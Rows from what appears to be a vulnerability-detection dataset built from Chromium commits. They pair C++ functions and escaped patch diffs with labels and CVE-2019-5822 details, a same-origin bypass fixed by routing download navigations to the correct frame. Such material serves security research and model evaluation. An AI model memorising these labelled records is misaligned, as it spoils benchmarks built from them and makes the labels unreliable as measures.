"https://github.com/chromium/chromium/raw/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/content/renderer/render_frame_impl.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/renderer/render_frame_impl.cc?ref=5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34", "patch": "@@ -3617,6 +3617,7 @@ void RenderFrameImpl::didCommitProvisionalLoad(\n // For new page navigations, the browser process needs to be notified of the\n // first paint of that page, so it can cancel the timer that waits for it.\n if (is_main_frame_ && !navigation_state->WasWithinSamePage()) {\n+ GetRenderWidget()->IncrementContentSourceId();\n render_view_->QueueMessage(\n new ViewHostMsg_DidFirstPaintAfterLoad(render_view_->routing_id_),\n MESSAGE_DELIVERY_POLICY_WITH_VISUAL_STATE);\n@@ -4891,6 +4892,8 @@ void RenderFrameImpl::SendDidCommitProvisionalLoad(\n // corresponding FrameNavigationEntry.\n params.page_state = SingleHistoryItemToPageState(item);\n \n+ params.content_source_id = GetRenderWidget()->GetContentSourceId();\n+\n params.method = request.httpMethod().latin1();\n if (params.method == \"POST\")\n params.post_id = ExtractPostId(item);"}<_**next**_>{"sha": "6a4442fa9cb31bf7e7676f129c07fdb42836a797", "filename": "content/renderer/render_widget.cc", "status": "modified", "additions": 11, "deletions": 0, "changes": 11, "blob_url": "https://github.com/chromium/chromium/blob/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/content/renderer/render_widget.cc", "raw_url": "https://github.com/chromium/chromium/raw/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/content/renderer/render_widget.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/renderer/render_widget.cc?ref=5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34", "patch": "@@ -378,6 +378,7 @@ RenderWidget::RenderWidget(int32_t widget_routing_id,\n focused_pepper_plugin_(nullptr),\n time_to_first_active_paint_recorded_(true),\n was_shown_time_(base::TimeTicks::Now()),\n+ current_content_source_id_(0),\n weak_ptr_factory_(this) {\n DCHECK_NE(routing_id_, MSG_ROUTING_NONE);\n if (!swapped_out)\n@@ -1286,6 +1287,7 @@ blink::WebLayerTreeView* RenderWidget::initializeLayerTreeView() {\n compositor_->setViewportSize(physical_backing_size_);\n OnDeviceScaleFactorChanged();\n compositor_->SetDeviceColorSpace(screen_info_.icc_profile.GetColorSpace());\n+ compositor_->SetContentSourceId(current_content_source_id_);\n // For background pages and certain tests, we don't want to trigger\n // CompositorFrameSink creation.\n if (compositor_never_visible_ || !RenderThreadImpl::current())\n@@ -2300,6 +2302,15 @@ void RenderWidget::startDragging(blink::WebReferrerPolicy policy,\n possible_drag_event_info_));\n }\n \n+uint32_t RenderWidget::GetContentSourceId() {\n+ return current_content_source_id_;\n+}\n+\n+void RenderWidget::IncrementContentSourceId() {\n+ if (compositor_)\n+ compositor_->SetContentSourceId(++current_content_source_id_);\n+}\n+\n blink::WebWidget* RenderWidget::GetWebWidget() const {\n return webwidget_internal_;\n }"}<_**next**_>{"sha": "e43cd4db32d26c5e6869ce010d090fbb315c0f4b", "filename": "content/renderer/render_widget.h", "status": "modified", "additions": 16, "deletions": 0, "changes": 16, "blob_url": "https://github.com/chromium/chromium/blob/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/content/renderer/render_widget.h", "raw_url": "https://github.com/chromium/chromium/raw/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/content/renderer/render_widget.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/renderer/render_widget.h?ref=5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34", "patch": "@@ -414,6 +414,9 @@ class CONTENT_EXPORT RenderWidget\n virtual void TransferActiveWheelFlingAnimation(\n const blink::WebActiveWheelFlingParameters& params) {}\n \n+ uint32_t GetContentSourceId();\n+ void IncrementContentSourceId();\n+\n protected:\n // Friend RefCounted so that the dtor can be non-public. Using this class\n // without ref-counting is an error.\n@@ -847,6 +850,19 @@ class CONTENT_EXPORT RenderWidget\n bool time_to_first_active_paint_recorded_;\n base::TimeTicks was_shown_time_;\n \n+ // This is initialized to zero and is incremented on each non-same-page\n+ // navigation commit by RenderFrameImpl. At that time it is sent to the\n+ // compositor so that it can tag compositor frames, and RenderFrameImpl is\n+ // responsible for sending it to the browser process to be used to match\n+ // each compositor frame to the most recent page navigation before it was\n+ // generated.\n+ // This only applies to main frames, and is not touched for subframe\n+ // RenderWidgets, where there is no concern around displaying unloaded\n+ // content.\n+ // TODO(kenrb, fsamuel): This should be removed when SurfaceIDs can be used\n+ // to replace it. See https://crbug.com/695579.\n+ uint32_t current_content_source_id_;\n+\n base::WeakPtrFactory<RenderWidget> weak_ptr_factory_;\n \n DISALLOW_COPY_AND_ASSIGN(RenderWidget);"}<_**next**_>{"sha": "6a9a4f58b6746315b24ba00ddd5700c24a7038e8", "filename": "content/test/test_render_view_host.h", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/content/test/test_render_view_host.h", "raw_url": "https://github.com/chromium/chromium/raw/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/content/test/test_render_view_host.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/test/test_render_view_host.h?ref=5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34", "patch": "@@ -111,6 +111,7 @@ class TestRenderWidgetHostView : public RenderWidgetHostViewBase {\n bool is_showing() const { return is_showing_; }\n bool is_occluded() const { return is_occluded_; }\n bool did_swap_compositor_frame() const { return did_swap_compositor_frame_; }\n+ void reset_did_swap_compositor_frame() { did_swap_compositor_frame_ = false; }\n \n protected:\n RenderWidgetHostImpl* rwh_;"}
|
LayerImpl* LayerTreeHostImpl::FindScrollLayerForDeviceViewportPoint(
const gfx::PointF& device_viewport_point,
InputHandler::ScrollInputType type,
LayerImpl* layer_impl,
bool* scroll_on_main_thread,
uint32_t* main_thread_scrolling_reasons) const {
DCHECK(scroll_on_main_thread);
DCHECK(main_thread_scrolling_reasons);
*main_thread_scrolling_reasons =
MainThreadScrollingReason::kNotScrollingOnMain;
ScrollTree& scroll_tree = active_tree_->property_trees()->scroll_tree;
ScrollNode* impl_scroll_node = nullptr;
if (layer_impl) {
ScrollNode* scroll_node = scroll_tree.Node(layer_impl->scroll_tree_index());
for (; scroll_tree.parent(scroll_node);
scroll_node = scroll_tree.parent(scroll_node)) {
ScrollStatus status =
TryScroll(device_viewport_point, type, scroll_tree, scroll_node);
if (IsMainThreadScrolling(status, scroll_node)) {
*scroll_on_main_thread = true;
*main_thread_scrolling_reasons = status.main_thread_scrolling_reasons;
return active_tree_->LayerById(scroll_node->owning_layer_id);
}
if (status.thread == InputHandler::SCROLL_ON_IMPL_THREAD &&
!impl_scroll_node) {
impl_scroll_node = scroll_node;
}
}
}
bool scrolls_inner_viewport =
impl_scroll_node && impl_scroll_node->scrolls_inner_viewport;
bool scrolls_outer_viewport =
impl_scroll_node && impl_scroll_node->scrolls_outer_viewport;
if (!impl_scroll_node || scrolls_inner_viewport || scrolls_outer_viewport)
impl_scroll_node = OuterViewportScrollNode();
if (impl_scroll_node) {
ScrollStatus status =
TryScroll(device_viewport_point, type, scroll_tree, impl_scroll_node);
if (IsMainThreadScrolling(status, impl_scroll_node)) {
*scroll_on_main_thread = true;
*main_thread_scrolling_reasons = status.main_thread_scrolling_reasons;
}
}
if (!impl_scroll_node)
return nullptr;
return active_tree_->LayerById(impl_scroll_node->owning_layer_id);
}
|
LayerImpl* LayerTreeHostImpl::FindScrollLayerForDeviceViewportPoint(
const gfx::PointF& device_viewport_point,
InputHandler::ScrollInputType type,
LayerImpl* layer_impl,
bool* scroll_on_main_thread,
uint32_t* main_thread_scrolling_reasons) const {
DCHECK(scroll_on_main_thread);
DCHECK(main_thread_scrolling_reasons);
*main_thread_scrolling_reasons =
MainThreadScrollingReason::kNotScrollingOnMain;
ScrollTree& scroll_tree = active_tree_->property_trees()->scroll_tree;
ScrollNode* impl_scroll_node = nullptr;
if (layer_impl) {
ScrollNode* scroll_node = scroll_tree.Node(layer_impl->scroll_tree_index());
for (; scroll_tree.parent(scroll_node);
scroll_node = scroll_tree.parent(scroll_node)) {
ScrollStatus status =
TryScroll(device_viewport_point, type, scroll_tree, scroll_node);
if (IsMainThreadScrolling(status, scroll_node)) {
*scroll_on_main_thread = true;
*main_thread_scrolling_reasons = status.main_thread_scrolling_reasons;
return active_tree_->LayerById(scroll_node->owning_layer_id);
}
if (status.thread == InputHandler::SCROLL_ON_IMPL_THREAD &&
!impl_scroll_node) {
impl_scroll_node = scroll_node;
}
}
}
bool scrolls_inner_viewport =
impl_scroll_node && impl_scroll_node->scrolls_inner_viewport;
bool scrolls_outer_viewport =
impl_scroll_node && impl_scroll_node->scrolls_outer_viewport;
if (!impl_scroll_node || scrolls_inner_viewport || scrolls_outer_viewport)
impl_scroll_node = OuterViewportScrollNode();
if (impl_scroll_node) {
ScrollStatus status =
TryScroll(device_viewport_point, type, scroll_tree, impl_scroll_node);
if (IsMainThreadScrolling(status, impl_scroll_node)) {
*scroll_on_main_thread = true;
*main_thread_scrolling_reasons = status.main_thread_scrolling_reasons;
}
}
if (!impl_scroll_node)
return nullptr;
return active_tree_->LayerById(impl_scroll_node->owning_layer_id);
}
|
C
| null | null | null |
@@ -1581,6 +1581,7 @@ CompositorFrameMetadata LayerTreeHostImpl::MakeCompositorFrameMetadata() const {
metadata.bottom_controls_shown_ratio =
browser_controls_offset_manager_->BottomControlsShownRatio();
metadata.root_background_color = active_tree_->background_color();
+ metadata.content_source_id = active_tree_->content_source_id();
active_tree_->GetViewportSelection(&metadata.selection);
|
Chrome
|
5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34
|
aae574ee52af5df55c8b7175ff096481a5bfb703
| 0
|
LayerImpl* LayerTreeHostImpl::FindScrollLayerForDeviceViewportPoint(
const gfx::PointF& device_viewport_point,
InputHandler::ScrollInputType type,
LayerImpl* layer_impl,
bool* scroll_on_main_thread,
uint32_t* main_thread_scrolling_reasons) const {
DCHECK(scroll_on_main_thread);
DCHECK(main_thread_scrolling_reasons);
*main_thread_scrolling_reasons =
MainThreadScrollingReason::kNotScrollingOnMain;
// Walk up the hierarchy and look for a scrollable layer.
ScrollTree& scroll_tree = active_tree_->property_trees()->scroll_tree;
ScrollNode* impl_scroll_node = nullptr;
if (layer_impl) {
ScrollNode* scroll_node = scroll_tree.Node(layer_impl->scroll_tree_index());
for (; scroll_tree.parent(scroll_node);
scroll_node = scroll_tree.parent(scroll_node)) {
// The content layer can also block attempts to scroll outside the main
// thread.
ScrollStatus status =
TryScroll(device_viewport_point, type, scroll_tree, scroll_node);
if (IsMainThreadScrolling(status, scroll_node)) {
*scroll_on_main_thread = true;
*main_thread_scrolling_reasons = status.main_thread_scrolling_reasons;
return active_tree_->LayerById(scroll_node->owning_layer_id);
}
if (status.thread == InputHandler::SCROLL_ON_IMPL_THREAD &&
!impl_scroll_node) {
impl_scroll_node = scroll_node;
}
}
}
// Falling back to the viewport layer ensures generation of root overscroll
// notifications. We use the viewport's main scroll layer to represent the
// viewport in scrolling code.
bool scrolls_inner_viewport =
impl_scroll_node && impl_scroll_node->scrolls_inner_viewport;
bool scrolls_outer_viewport =
impl_scroll_node && impl_scroll_node->scrolls_outer_viewport;
if (!impl_scroll_node || scrolls_inner_viewport || scrolls_outer_viewport)
impl_scroll_node = OuterViewportScrollNode();
if (impl_scroll_node) {
// Ensure that final layer scrolls on impl thread (crbug.com/625100)
ScrollStatus status =
TryScroll(device_viewport_point, type, scroll_tree, impl_scroll_node);
if (IsMainThreadScrolling(status, impl_scroll_node)) {
*scroll_on_main_thread = true;
*main_thread_scrolling_reasons = status.main_thread_scrolling_reasons;
}
}
// TODO(pdr): Refactor this function to directly return |impl_scroll_node|
// instead of using ScrollNode's owning_layer_id to return a LayerImpl.
if (!impl_scroll_node)
return nullptr;
return active_tree_->LayerById(impl_scroll_node->owning_layer_id);
}
|
164,821
| null |
Remote
|
Not required
|
Partial
|
CVE-2019-5822
|
https://www.cvedetails.com/cve/CVE-2019-5822/
|
CWE-284
|
Medium
|
Partial
|
Partial
| null |
2019-06-27
| 6.8
|
Inappropriate implementation in Blink in Google Chrome prior to 74.0.3729.108 allowed a remote attacker to bypass same origin policy via a crafted HTML page.
|
2019-07-25
|
Bypass
| 0
|
https://github.com/chromium/chromium/commit/2f81d000fdb5331121cba7ff81dfaaec25b520a5
|
2f81d000fdb5331121cba7ff81dfaaec25b520a5
|
When turning a download into a navigation, navigate the right frame
Code changes from Nate Chapin <japhet@chromium.org>
Bug: 926105
Change-Id: I098599394e6ebe7d2fce5af838014297a337d294
Reviewed-on: https://chromium-review.googlesource.com/c/1454962
Reviewed-by: Camille Lamy <clamy@chromium.org>
Commit-Queue: Jochen Eisinger <jochen@chromium.org>
Cr-Commit-Position: refs/heads/master@{#629547}
| 0
|
chrome/browser/download/download_browsertest.cc
|
{"sha": "5bff3e24e623e2f22b4fc2db17e54c8911112e3d", "filename": "chrome/browser/download/download_browsertest.cc", "status": "modified", "additions": 61, "deletions": 0, "changes": 61, "blob_url": "https://github.com/chromium/chromium/blob/2f81d000fdb5331121cba7ff81dfaaec25b520a5/chrome/browser/download/download_browsertest.cc", "raw_url": "https://github.com/chromium/chromium/raw/2f81d000fdb5331121cba7ff81dfaaec25b520a5/chrome/browser/download/download_browsertest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/download/download_browsertest.cc?ref=2f81d000fdb5331121cba7ff81dfaaec25b520a5", "patch": "@@ -3563,6 +3563,67 @@ IN_PROC_BROWSER_TEST_F(DownloadTest, FileExistenceCheckOpeningDownloadsPage) {\n .WaitForEvent();\n }\n \n+// Checks that the navigation resulting from a cross origin download navigates\n+// the correct iframe.\n+IN_PROC_BROWSER_TEST_F(DownloadTest, CrossOriginDownloadNavigatesIframe) {\n+ EmbeddedTestServer origin_one;\n+ EmbeddedTestServer origin_two;\n+ EmbeddedTestServer origin_three;\n+\n+ origin_one.ServeFilesFromDirectory(GetTestDataDirectory());\n+ origin_two.ServeFilesFromDirectory(GetTestDataDirectory());\n+ origin_three.ServeFilesFromDirectory(GetTestDataDirectory());\n+ ASSERT_TRUE(origin_one.InitializeAndListen());\n+ ASSERT_TRUE(origin_two.InitializeAndListen());\n+ ASSERT_TRUE(origin_three.InitializeAndListen());\n+\n+ // We load a page on origin_one which iframes a page from origin_two which\n+ // downloads a file that redirects to origin_three.\n+ GURL download_url =\n+ origin_two.GetURL(std::string(\"/redirect?\") +\n+ origin_three.GetURL(\"/downloads/message.html\").spec());\n+ GURL referrer_url = origin_two.GetURL(\n+ std::string(\"/downloads/download-attribute.html?target=\") +\n+ download_url.spec());\n+ GURL main_url =\n+ origin_one.GetURL(std::string(\"/downloads/page-with-frame.html?url=\") +\n+ referrer_url.spec());\n+\n+ origin_two.RegisterRequestHandler(\n+ base::BindRepeating(&ServerRedirectRequestHandler));\n+\n+ origin_one.StartAcceptingConnections();\n+ origin_two.StartAcceptingConnections();\n+ origin_three.StartAcceptingConnections();\n+\n+ ui_test_utils::NavigateToURL(browser(), main_url);\n+\n+ WebContents* web_contents =\n+ browser()->tab_strip_model()->GetActiveWebContents();\n+ ASSERT_TRUE(web_contents != NULL);\n+ content::RenderFrameHost* render_frame_host = web_contents->GetMainFrame();\n+ ASSERT_TRUE(render_frame_host != NULL);\n+\n+ // Clicking the <a download> in the iframe should navigate the iframe,\n+ // not the main frame.\n+ base::string16 expected_title(base::UTF8ToUTF16(\"Loaded as iframe\"));\n+ base::string16 failed_title(base::UTF8ToUTF16(\"Loaded as main frame\"));\n+ content::TitleWatcher title_watcher(web_contents, expected_title);\n+ title_watcher.AlsoWaitForTitle(failed_title);\n+ render_frame_host->ExecuteJavaScriptForTests(\n+ base::ASCIIToUTF16(\"runTest();\"));\n+ ASSERT_EQ(expected_title, title_watcher.WaitAndGetTitle());\n+\n+ // Also verify that there's no download.\n+ std::vector<DownloadItem*> downloads;\n+ DownloadManagerForBrowser(browser())->GetAllDownloads(&downloads);\n+ ASSERT_EQ(0u, downloads.size());\n+\n+ ASSERT_TRUE(origin_one.ShutdownAndWaitUntilComplete());\n+ ASSERT_TRUE(origin_two.ShutdownAndWaitUntilComplete());\n+ ASSERT_TRUE(origin_three.ShutdownAndWaitUntilComplete());\n+}\n+\n #if defined(FULL_SAFE_BROWSING)\n \n namespace {"}<_**next**_>{"sha": "e0ac090ac4ca89e4be41e4712716e1d071459300", "filename": "chrome/test/data/downloads/download-attribute.html", "status": "added", "additions": 11, "deletions": 0, "changes": 11, "blob_url": "https://github.com/chromium/chromium/blob/2f81d000fdb5331121cba7ff81dfaaec25b520a5/chrome/test/data/downloads/download-attribute.html", "raw_url": "https://github.com/chromium/chromium/raw/2f81d000fdb5331121cba7ff81dfaaec25b520a5/chrome/test/data/downloads/download-attribute.html", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/test/data/downloads/download-attribute.html?ref=2f81d000fdb5331121cba7ff81dfaaec25b520a5", "patch": "@@ -0,0 +1,11 @@\n+<!doctype html>\n+<a download>link</a>\n+<script>\n+ var anchorElement = document.querySelector('a[download]');\n+ url = window.location.href;\n+ anchorElement.href = url.substr(url.indexOf('=') + 1);\n+\n+ window.addEventListener('message', function (evt) {\n+ anchorElement.click();\n+ }, false);\n+</script>"}<_**next**_>{"sha": "8dc7bea3ab4eb9b7bde62ab95ecd7ef76bbb8e65", "filename": "chrome/test/data/downloads/message.html", "status": "added", "additions": 7, "deletions": 0, "changes": 7, "blob_url": "https://github.com/chromium/chromium/blob/2f81d000fdb5331121cba7ff81dfaaec25b520a5/chrome/test/data/downloads/message.html", "raw_url": "https://github.com/chromium/chromium/raw/2f81d000fdb5331121cba7ff81dfaaec25b520a5/chrome/test/data/downloads/message.html", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/test/data/downloads/message.html?ref=2f81d000fdb5331121cba7ff81dfaaec25b520a5", "patch": "@@ -0,0 +1,7 @@\n+<!doctype html>\n+<script>\n+if (window.parent === window)\n+ document.title = \"Loaded as main frame\";\n+else\n+ window.parent.postMessage('Loaded as iframe', '*');\n+</script>"}<_**next**_>{"sha": "287a7ffe6348269cd7d1e83b606aca1171373dda", "filename": "chrome/test/data/downloads/page-with-frame.html", "status": "added", "additions": 19, "deletions": 0, "changes": 19, "blob_url": "https://github.com/chromium/chromium/blob/2f81d000fdb5331121cba7ff81dfaaec25b520a5/chrome/test/data/downloads/page-with-frame.html", "raw_url": "https://github.com/chromium/chromium/raw/2f81d000fdb5331121cba7ff81dfaaec25b520a5/chrome/test/data/downloads/page-with-frame.html", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/test/data/downloads/page-with-frame.html?ref=2f81d000fdb5331121cba7ff81dfaaec25b520a5", "patch": "@@ -0,0 +1,19 @@\n+<!doctype html>\n+<html>\n+<body>\n+<script>\n+ var iframeElement = document.createElement('iframe');\n+ url = window.location.href;\n+ iframeElement.src = url.substr(url.indexOf('=') + 1);\n+ document.body.appendChild(iframeElement);\n+\n+ function runTest() {\n+ iframeElement.contentWindow.postMessage('', '*');\n+ }\n+\n+ window.addEventListener('message', function (evt) {\n+ document.title = evt.data;\n+ }, false);\n+</script>\n+</body>\n+</html>"}<_**next**_>{"sha": "c7c68976c83de1d2767cd292c3f25c911e0a96d3", "filename": "components/download/public/common/download_url_parameters.cc", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/2f81d000fdb5331121cba7ff81dfaaec25b520a5/components/download/public/common/download_url_parameters.cc", "raw_url": "https://github.com/chromium/chromium/raw/2f81d000fdb5331121cba7ff81dfaaec25b520a5/components/download/public/common/download_url_parameters.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/components/download/public/common/download_url_parameters.cc?ref=2f81d000fdb5331121cba7ff81dfaaec25b520a5", "patch": "@@ -32,6 +32,7 @@ DownloadUrlParameters::DownloadUrlParameters(\n render_process_host_id_(render_process_host_id),\n render_view_host_routing_id_(render_view_host_routing_id),\n render_frame_host_routing_id_(render_frame_host_routing_id),\n+ frame_tree_node_id_(-1),\n url_(url),\n do_not_prompt_for_login_(false),\n follow_cross_origin_redirects_(true),"}<_**next**_>{"sha": "214d4195746e22899c1abe1d040838f750ca7e24", "filename": "components/download/public/common/download_url_parameters.h", "status": "modified", "additions": 4, "deletions": 0, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/2f81d000fdb5331121cba7ff81dfaaec25b520a5/components/download/public/common/download_url_parameters.h", "raw_url": "https://github.com/chromium/chromium/raw/2f81d000fdb5331121cba7ff81dfaaec25b520a5/components/download/public/common/download_url_parameters.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/components/download/public/common/download_url_parameters.h?ref=2f81d000fdb5331121cba7ff81dfaaec25b520a5", "patch": "@@ -275,6 +275,9 @@ class COMPONENTS_DOWNLOAD_EXPORT DownloadUrlParameters {\n return render_frame_host_routing_id_;\n }\n \n+ void set_frame_tree_node_id(int id) { frame_tree_node_id_ = id; }\n+ int frame_tree_node_id() const { return frame_tree_node_id_; }\n+\n const RequestHeadersType& request_headers() const { return request_headers_; }\n const base::FilePath& file_path() const { return save_info_.file_path; }\n const base::string16& suggested_name() const {\n@@ -328,6 +331,7 @@ class COMPONENTS_DOWNLOAD_EXPORT DownloadUrlParameters {\n int render_process_host_id_;\n int render_view_host_routing_id_;\n int render_frame_host_routing_id_;\n+ int frame_tree_node_id_;\n DownloadSaveInfo save_info_;\n GURL url_;\n bool do_not_prompt_for_login_;"}<_**next**_>{"sha": "11316e3417bdf00a8212943482a198ed7ad9a767", "filename": "content/browser/download/download_manager_impl.cc", "status": "modified", "additions": 7, "deletions": 1, "changes": 8, "blob_url": "https://github.com/chromium/chromium/blob/2f81d000fdb5331121cba7ff81dfaaec25b520a5/content/browser/download/download_manager_impl.cc", "raw_url": "https://github.com/chromium/chromium/raw/2f81d000fdb5331121cba7ff81dfaaec25b520a5/content/browser/download/download_manager_impl.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/download/download_manager_impl.cc?ref=2f81d000fdb5331121cba7ff81dfaaec25b520a5", "patch": "@@ -505,6 +505,9 @@ bool DownloadManagerImpl::InterceptDownload(\n info.referrer_url, Referrer::NetReferrerPolicyToBlinkReferrerPolicy(\n info.referrer_policy));\n params.redirect_chain = url_chain;\n+ params.frame_tree_node_id =\n+ RenderFrameHost::GetFrameTreeNodeIdForRoutingId(\n+ info.render_process_id, info.render_frame_id);\n web_contents->GetController().LoadURLWithParams(params);\n }\n if (info.request_handle)\n@@ -803,7 +806,8 @@ download::DownloadInterruptReason DownloadManagerImpl::BeginDownloadRequest(\n params->referrer_policy())),\n true, // download.\n params->render_process_host_id(), params->render_view_host_routing_id(),\n- params->render_frame_host_routing_id(), PREVIEWS_OFF, resource_context);\n+ params->render_frame_host_routing_id(), params->frame_tree_node_id(),\n+ PREVIEWS_OFF, resource_context);\n \n // We treat a download as a main frame load, and thus update the policy URL on\n // redirects.\n@@ -914,6 +918,8 @@ void DownloadManagerImpl::DownloadUrl(\n params->download_source());\n auto* rfh = RenderFrameHost::FromID(params->render_process_host_id(),\n params->render_frame_host_routing_id());\n+ if (rfh)\n+ params->set_frame_tree_node_id(rfh->GetFrameTreeNodeId());\n BeginDownloadInternal(std::move(params), std::move(blob_data_handle),\n std::move(blob_url_loader_factory), true,\n rfh ? rfh->GetSiteInstance()->GetSiteURL() : GURL());"}<_**next**_>{"sha": "4548603991f61ed3dd108c069f19110d159d7268", "filename": "content/browser/download/download_resource_handler.cc", "status": "modified", "additions": 9, "deletions": 7, "changes": 16, "blob_url": "https://github.com/chromium/chromium/blob/2f81d000fdb5331121cba7ff81dfaaec25b520a5/content/browser/download/download_resource_handler.cc", "raw_url": "https://github.com/chromium/chromium/raw/2f81d000fdb5331121cba7ff81dfaaec25b520a5/content/browser/download/download_resource_handler.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/download/download_resource_handler.cc?ref=2f81d000fdb5331121cba7ff81dfaaec25b520a5", "patch": "@@ -120,12 +120,12 @@ void InitializeDownloadTabInfoOnUIThread(\n void DeleteOnUIThread(\n std::unique_ptr<DownloadResourceHandler::DownloadTabInfo> tab_info) {}\n \n-void NavigateOnUIThread(\n- const GURL& url,\n- const std::vector<GURL> url_chain,\n- const Referrer& referrer,\n- bool has_user_gesture,\n- const ResourceRequestInfo::WebContentsGetter& wc_getter) {\n+void NavigateOnUIThread(const GURL& url,\n+ const std::vector<GURL> url_chain,\n+ const Referrer& referrer,\n+ bool has_user_gesture,\n+ const ResourceRequestInfo::WebContentsGetter& wc_getter,\n+ int frame_tree_node_id) {\n DCHECK_CURRENTLY_ON(BrowserThread::UI);\n \n WebContents* web_contents = wc_getter.Run();\n@@ -134,6 +134,7 @@ void NavigateOnUIThread(\n params.has_user_gesture = has_user_gesture;\n params.referrer = referrer;\n params.redirect_chain = url_chain;\n+ params.frame_tree_node_id = frame_tree_node_id;\n web_contents->GetController().LoadURLWithParams(params);\n }\n }\n@@ -209,7 +210,8 @@ void DownloadResourceHandler::OnRequestRedirected(\n Referrer::NetReferrerPolicyToBlinkReferrerPolicy(\n redirect_info.new_referrer_policy)),\n GetRequestInfo()->HasUserGesture(),\n- GetRequestInfo()->GetWebContentsGetterForRequest()));\n+ GetRequestInfo()->GetWebContentsGetterForRequest(),\n+ GetRequestInfo()->frame_tree_node_id()));\n controller->Cancel();\n return;\n }"}<_**next**_>{"sha": "a704b8384f0951dec115c4f9e71e4e52b708f348", "filename": "content/browser/loader/resource_dispatcher_host_impl.cc", "status": "modified", "additions": 4, "deletions": 3, "changes": 7, "blob_url": "https://github.com/chromium/chromium/blob/2f81d000fdb5331121cba7ff81dfaaec25b520a5/content/browser/loader/resource_dispatcher_host_impl.cc", "raw_url": "https://github.com/chromium/chromium/raw/2f81d000fdb5331121cba7ff81dfaaec25b520a5/content/browser/loader/resource_dispatcher_host_impl.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/loader/resource_dispatcher_host_impl.cc?ref=2f81d000fdb5331121cba7ff81dfaaec25b520a5", "patch": "@@ -1161,13 +1161,13 @@ ResourceRequestInfoImpl* ResourceDispatcherHostImpl::CreateRequestInfo(\n int child_id,\n int render_view_route_id,\n int render_frame_route_id,\n+ int frame_tree_node_id,\n PreviewsState previews_state,\n bool download,\n ResourceContext* context) {\n return new ResourceRequestInfoImpl(\n ResourceRequesterInfo::CreateForDownloadOrPageSave(child_id),\n- render_view_route_id,\n- -1, // frame_tree_node_id\n+ render_view_route_id, frame_tree_node_id,\n ChildProcessHost::kInvalidUniqueID, // plugin_child_id\n MakeRequestID(), render_frame_route_id,\n false, // is_main_frame\n@@ -1744,6 +1744,7 @@ void ResourceDispatcherHostImpl::InitializeURLRequest(\n int render_process_host_id,\n int render_view_routing_id,\n int render_frame_routing_id,\n+ int frame_tree_node_id,\n PreviewsState previews_state,\n ResourceContext* context) {\n DCHECK(io_thread_task_runner_->BelongsToCurrentThread());\n@@ -1753,7 +1754,7 @@ void ResourceDispatcherHostImpl::InitializeURLRequest(\n \n ResourceRequestInfoImpl* info = CreateRequestInfo(\n render_process_host_id, render_view_routing_id, render_frame_routing_id,\n- previews_state, is_download, context);\n+ frame_tree_node_id, previews_state, is_download, context);\n // Request takes ownership.\n info->AssociateWithRequest(request);\n }"}<_**next**_>{"sha": "7b9ae6656392c69e74bb67cf74f1a6576463fccf", "filename": "content/browser/loader/resource_dispatcher_host_impl.h", "status": "modified", "additions": 8, "deletions": 7, "changes": 15, "blob_url": "https://github.com/chromium/chromium/blob/2f81d000fdb5331121cba7ff81dfaaec25b520a5/content/browser/loader/resource_dispatcher_host_impl.h", "raw_url": "https://github.com/chromium/chromium/raw/2f81d000fdb5331121cba7ff81dfaaec25b520a5/content/browser/loader/resource_dispatcher_host_impl.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/loader/resource_dispatcher_host_impl.h?ref=2f81d000fdb5331121cba7ff81dfaaec25b520a5", "patch": "@@ -273,6 +273,7 @@ class CONTENT_EXPORT ResourceDispatcherHostImpl\n int render_process_host_id,\n int render_view_routing_id,\n int render_frame_routing_id,\n+ int frame_tree_node_id,\n PreviewsState previews_state,\n ResourceContext* context);\n \n@@ -601,13 +602,13 @@ class CONTENT_EXPORT ResourceDispatcherHostImpl\n \n // Creates ResourceRequestInfoImpl for a download or page save.\n // |download| should be true if the request is a file download.\n- ResourceRequestInfoImpl* CreateRequestInfo(\n- int child_id,\n- int render_view_route_id,\n- int render_frame_route_id,\n- PreviewsState previews_state,\n- bool download,\n- ResourceContext* context);\n+ ResourceRequestInfoImpl* CreateRequestInfo(int child_id,\n+ int render_view_route_id,\n+ int render_frame_route_id,\n+ int frame_tree_node_id,\n+ PreviewsState previews_state,\n+ bool download,\n+ ResourceContext* context);\n \n // Relationship of resource being authenticated with the top level page.\n enum HttpAuthRelationType {"}
|
content::DownloadTestObserver* DangerousDownloadWaiter(
Browser* browser,
int num_downloads,
content::DownloadTestObserver::DangerousDownloadAction
dangerous_download_action) {
DownloadManager* download_manager = DownloadManagerForBrowser(browser);
return new content::DownloadTestObserverTerminal(
download_manager, num_downloads, dangerous_download_action);
}
|
content::DownloadTestObserver* DangerousDownloadWaiter(
Browser* browser,
int num_downloads,
content::DownloadTestObserver::DangerousDownloadAction
dangerous_download_action) {
DownloadManager* download_manager = DownloadManagerForBrowser(browser);
return new content::DownloadTestObserverTerminal(
download_manager, num_downloads, dangerous_download_action);
}
|
C
| null | null | null |
